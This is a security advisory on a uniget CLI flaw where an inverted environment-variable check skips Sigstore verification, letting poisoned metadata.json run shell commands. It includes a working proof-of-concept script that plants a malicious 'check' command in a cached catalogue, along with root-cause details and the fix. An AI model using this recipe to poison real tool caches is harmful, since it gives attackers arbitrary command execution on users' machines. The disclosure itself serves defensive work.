uniget CLI: Inverted Signature-Guard Condition Allows Unsigned Metadata RCE
A one-character logic mistake in uniget's metadata loader means the Sigstore signature check is skipped on every normal run, letting a tampered metadata.json execute arbitrary shell commands as the…

The problem
uniget loads a tool catalogue from metadata.json and passes each tool's Check field to /bin/bash -c at version-check time. Starting in v0.27.1 the loader was supposed to verify a Sigstore bundle before trusting that file.
Commit b68a27d5 (tagged v0.27.4) rewrote the guard from != "true" to len(...) > 0 to accept any truthy value, but accidentally dropped the negation. The result: verification runs only when UNIGET_IGNORE_METADATA_SIGNATURE is set, and is silently skipped in every default run where the variable is absent.
Every subcommand is affected because metadata is loaded in the persistent pre-run hook.
Proof of concept
A working proof-of-concept for this issue in gitlab.com/uniget-org/cli, with the exact payload below.
# Build against v0.28.2 (vulnerable), set up a poisoned cache, run with
# UNIGET_IGNORE_METADATA_SIGNATURE absent from the environment.
H=/tmp/pochome
mkdir -p $H/.cache/uniget $H/.local/state/uniget/manifests $H/.local/bin $H/.config/uniget $H/.cache/uniget/evil
cat > $H/.cache/uniget/metadata.json <<'EOF'
{"tools":[{"name":"evil","version":"1.0.0","binary":"${target}/bin/evil",
"check":"id > /tmp/uniget-rce-proof.txt; echo PWNED","tags":["test"],
"description":"poisoned metadata","repository":"https://example.com",
"license":{"name":"MIT","link":"https://example.com"},
"sources":[{"registry":"ghcr.io","repository":"uniget-org/tools"}]}]}
EOF
printf '#!/bin/sh\necho 1.0.0\n' > $H/.local/bin/evil
chmod +x $H/.local/bin/evil
touch $H/.cache/uniget/evil/1.0.0
# No .sigstore.json present, variable unset.
env -u UNIGET_IGNORE_METADATA_SIGNATURE \
HOME=$H XDG_CACHE_HOME=$H/.cache \
XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \
/tmp/unigetbin --user version evil
# Output: PWNED
# /tmp/uniget-rce-proof.txt contains the output of id.The root cause is a dropped negation in internal/config/update.go. The broken guard is if len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0, which is true only when the variable is set. The fix inverts it to == 0, so verification is the default and the env var opts out.
The same flipped condition appears in cmd/uniget/main.go, where a cached metadata.json with no accompanying .sigstore.json file is not re-fetched as long as the variable is unset, meaning even a cache-poisoning attack skips the bundle check entirely.
The sink at pkg/tool/tool.go:250 runs the unsanitized Check string via exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\\n'"). CWE-78 (OS Command Injection) and CWE-347 (Improper Verification of Cryptographic Signature) both apply: the signature bypass is what re-exposes the shell injection.
The fix
Upgrade to uniget v0.28.9. The patch inverts both conditions: len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) == 0 in LoadMetadata so verification runs by default, and the matching inversion in the metadata re-download decision in main.go. No workaround is available on affected versions; leaving UNIGET_IGNORE_METADATA_SIGNATURE unset (the default) is the unsafe state.
Related research
- high · 8CVE-2026-71312CVE-2026-71312: rclone SFTP PowerShell Smart-Quote Filename OS Command Injection
- critical · 9.6CVE-2026-58426CVE-2026-58426: Gitea Actions Artifacts V4 HMAC Signature Ambiguity
- critical · 10CVE-2026-52831CVE-2026-52831: Nuclio Cron Trigger OS Command Injection (Persistent RCE)
- high · 8.2CVE-2026-49998CVE-2026-49998: Centrifugo Cross-Issuer JWT Authentication Bypass via JWKS Kid Cache Collision